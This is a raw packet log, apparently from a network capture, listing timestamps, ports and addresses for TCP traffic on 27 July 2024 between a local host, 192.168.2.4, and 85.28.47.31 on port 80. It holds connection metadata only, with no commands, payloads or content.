Jul 27, 2024 05:39:18.539177895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539208889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539218903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539264917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539271116 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539304018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539314032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539335966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539346933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539380074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539391994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539423943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539436102 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539458036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539468050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539490938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539503098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539525032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539532900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539557934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539567947 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539592981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539599895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539625883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539634943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539659977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539669991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539695024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539702892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539729118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539740086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539761066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539771080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539794922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539823055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539841890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539844990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539890051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539896011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539930105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539936066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539963007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.539978027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.539995909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540004969 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540039062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540046930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540080070 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540090084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540122032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540129900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540163040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540180922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540208101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540214062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540256977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540266037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540301085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540311098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540333033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540344000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540366888 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540375948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540400982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540410042 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540435076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540443897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540469885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540478945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540510893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540550947 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540584087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540595055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540620089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540625095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540652990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540679932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540688992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540690899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540734053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540740013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540781021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540791035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540822983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540834904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540857077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540865898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540890932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540904045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540924072 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540932894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.540956974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.540958881 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541002989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541008949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541050911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541058064 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541100025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541107893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541140079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541151047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541173935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541182995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541207075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541217089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541240931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541254997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541275024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541284084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541311026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541318893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541343927 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541353941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541378021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541388035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541412115 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541420937 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541445971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541461945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541479111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541488886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541512966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541522980 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541547060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541555882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541580915 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541591883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541615009 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541624069 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541650057 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541660070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541683912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541692972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541718960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541728973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541752100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541760921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541786909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541801929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541821003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541830063 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541855097 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541863918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541891098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541897058 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541925907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541934967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541960001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.541971922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.541992903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542002916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542026997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542036057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542061090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542069912 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542093992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542104959 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542129040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542139053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542161942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542179108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542196035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542203903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542229891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542241096 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542263985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542273045 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542298079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542308092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542331934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542336941 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542366982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.542373896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.542412043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631416082 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631485939 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631510973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631527901 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631566048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631598949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631603003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631633997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631638050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631661892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631664991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631673098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631699085 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631709099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631733894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631745100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631764889 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631778955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631799936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631810904 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631834030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631844997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631876945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631886005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631918907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631927967 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631953001 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631968975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.631988049 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.631999016 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632021904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632031918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632060051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632066011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632102966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632149935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632195950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632200956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632242918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632251978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632287025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632297993 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632325888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632338047 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632383108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632391930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632436991 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632441998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632499933 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632512093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632560015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632611036 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632656097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632662058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632695913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632703066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632728100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632739067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632761955 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632769108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632805109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632812977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632846117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632858992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632888079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632889032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632934093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.632937908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632971048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.632978916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633003950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633019924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633047104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633054018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633085966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633100033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633119106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633131027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633163929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633168936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633203030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633214951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633239031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633249044 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633275032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633285046 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633306980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633315086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633348942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633357048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633402109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633405924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633438110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633449078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633471966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633481979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633507967 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633513927 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633550882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633558035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633591890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633604050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633634090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633641005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633675098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633685112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633708954 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633718014 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633743048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633753061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633786917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633794069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633843899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633845091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633892059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633896112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633930922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633940935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633964062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.633972883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.633999109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634008884 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634032011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634047031 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634067059 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634072065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634100914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634110928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634134054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634141922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634166956 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634176970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634207964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634217024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634249926 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634262085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634283066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634294033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634325027 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634331942 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634366035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634375095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634397984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634408951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634439945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634448051 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634481907 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634494066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634522915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634531021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634563923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634577990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634597063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634607077 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634630919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634640932 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:18.634665012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634699106 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:18.634704113 CEST	49477	80	192.168.2.4	85.28.47.31
